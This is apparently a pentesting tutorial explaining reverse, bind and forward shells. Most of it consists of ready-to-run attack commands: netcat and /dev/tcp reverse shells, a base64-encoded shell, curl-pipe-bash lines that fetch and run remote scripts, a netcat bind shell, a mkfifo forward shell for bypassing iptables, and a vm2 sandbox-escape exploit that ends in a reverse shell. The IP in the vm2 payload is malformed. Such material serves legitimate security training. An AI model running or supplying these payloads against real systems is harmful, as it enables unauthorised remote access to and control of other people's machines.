🔓 Reverse Shell, Bind Shell and Forward Shell: the three ways to “establish” a remote console
When we achieve command execution on a machine (through an injection, a file upload, an exploit, etc.), the next step is almost always to turn that one-off access into a stable interactive console. There are three classic models for achieving this: the reverse shell (the victim connects to us), the bind shell (we connect to the victim), and the forward shell (a trick for when a firewall blocks the two previous ones). Let’s go over each with practical examples.
📡 Reverse Shell
A reverse shell is when the victim machine is the one that initiates the connection towards our computer, sending us an interactive shell. It’s the most used model because it usually bypasses firewall restrictions that block incoming connections to the victim (but allow outgoing ones).
Step 1 — We set up a listener on our host:
nc -nlvp 443
Step 2 — We send a shell from the victim:
nc -e /bin/bash 192.168.45.182 443
nc -e /bin/sh 192.168.45.246 3306
nc -c /bin/bash 192.168.45.199 80
nc -c /bin/bash 172.17.0.1 80
Or also using /dev/tcp redirection, very useful when we don’t have netcat available on the victim but do have a bash:
/bin/bash -i >& /dev/tcp/192.168.45.199/80 0>&1
/bin/bash -i >& /dev/tcp/172.17.0.1/80 0>&1
nc -c /bin/bash 192.168.45.209 81
/bin/nc -c /bin/bash 172.17.0.1 80
/bin/bash -i >& /dev/tcp/192.168.45.234/443 0>&1
We can also send ourselves the shell encoded in base64, which is very useful when the injection context doesn’t allow certain special characters:
echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMjM0LzkwOTAgMD4mMQo=" | base64 -d | bash
🌐 Running a shell with curl
Another very practical way is to set up an HTTP server (for example with Python) that serves a .sh script with our reverse shell, and download and run it directly from the victim with curl.
The script’s content would be:
#!/bin/bash
bash -i >& /dev/tcp/192.168.45.182/443 0>&1
And from wherever we have remote command execution or command injection, we launch it like this:
curl http://192.168.45.198/bash.sh | bash
curl http://172.17.0.1:8000/shell.sh | bash
# Or we can also run
bash -c "$(curl http://10.10.10.10/bash.sh)"
# this is mainly in case there are contexts or blacklists for command injection that forbid the pipe |
The resulting shell will run in the context of the victim machine. To check more payload variants depending on the language or binary available on the victim, another very complete resource is the HackTricks reverse shells section.
🔒 Bind Shell
Unlike the reverse shell, in a bind shell we are the ones who connect to the victim, which is the one listening. This model tends to fail if there’s a firewall blocking incoming connections to the victim, but it’s useful in other scenarios.
Step 1 — We set a shell listening on the victim machine:
nc -nlvp 4646 -e /bin/bash
Step 2 — We connect from our host via IP:port:
nc ip víctima 4646
🧵 Forward Shell
The forward shell comes into play when there’s a firewall (usually configured with IPTABLES) that prevents both sending and receiving shells from the victim machine. In these cases we need to resort to a named pipe using the mkfifo command, which lets us simulate an interaction with the shell through plain, ordinary HTTP requests.
🐳 Practice: setting up the scenario with Docker
To practice, we create a Dockerfile with Apache + PHP:
FROM ubuntu:latest
ENV DEBIAN_FRONTEND noninteractive
RUN apt update && apt install -y apache2 \
php
EXPOSE 80
ENTRYPOINT service apache2 start && /bin/bash
We build the image and spin up the container applying port forwarding as needed, and connect to the container with a bash.
🚧 Practice with Forward Shell and IPTABLES
We install iptables inside the container:
apt install iptables
⚠️ Watch out: this can cause issues when used inside Docker. If we run:
iptables --flush
we get permission errors saying we need to be root (even though we already are). The solution is to run the container with additional flags:
-p 80:80 --cap-add=NET_ADMIN
We create the iptables rules that simulate the restrictive firewall:
iptables -A OUTPUT -p tcp -m tcp -o eth0 --sport 80 -j ACCEPT
iptables -A OUTPUT -p tcp -o eth0 -j DROP
With these rules active, we can no longer launch a normal bash or establish outgoing connections. This is where the tty_over_http.py by s4vitar project comes in (we download it in its raw version). This Python script points to a URL where we have command execution and takes care of generating the connection through an mkfifo.
We can also launch a pseudo console with script /dev/null -c bash. An equivalent mkfifo would be:
mkfifo input_file; tail -f input_file | /bin/sh 2>&1 > output
🔍 What does this command exactly do?
The command:
mkfifo input_file; tail -f input_file | /bin/sh 2>&1 > output
creates a FIFO (named pipe) called input_file and then runs a shell /bin/sh, redirecting standard input and output. Broken down step by step:
mkfifo input_file: creates a FIFO calledinput_filein the current directory. A FIFO is a special file used for interprocess communication.tail -f input_file: continuously reads (-f) the contents of theinput_fileFIFO.tailis normally used to display the last lines of a log file, but here it’s reading from the FIFO.| /bin/sh: the pipe operator connectstail‘s output to the input of the/bin/shshell. Everything written to theinput_fileFIFO gets passed to the shell as commands to execute.2>&1: redirects file descriptor 2 (stderr) to be the same as descriptor 1 (stdout), combining the shell’s standard output and error output.> output: redirects that combined output to a file calledoutput. Any output generated by the shell gets written there.
In summary: this command creates a communication channel between the attacker and a /bin/sh shell. We write commands into the FIFO, they get continuously read with tail and executed in the shell, while the resulting output gets redirected to the output file.
For example:
echo whoami > input
# now we read the output
cat output ---- root
If we do:
pwd > input
cat output ----
root
/home/jesus
That is, we feed data into the input file and, thanks to tail, we read it from the output file as it’s generated.
📚 Reference and bonus
For all these one-liners and many more shell variants, the must-have reference resource is the pentestmonkey cheat sheet, which collects dozens of ways to establish a shell.
As a curiosity, here’s an example of how to achieve command execution even while escaping a Node.js sandbox (vm2) using a trick with Proxy and an error’s toString, ending up launching a reverse shell via curl | bash:
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("curl http://10.10.14./shell.sh|bash'").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
🔐 Conclusion
Mastering these three models —reverse, bind and forward shell— and knowing when to use each one depending on the firewall rules you run into is a fundamental skill in any pentest. The reverse shell solves most cases, the bind shell has its place in specific scenarios, and the forward shell with mkfifo is that ace up your sleeve when IPTABLES completely blocks your way.
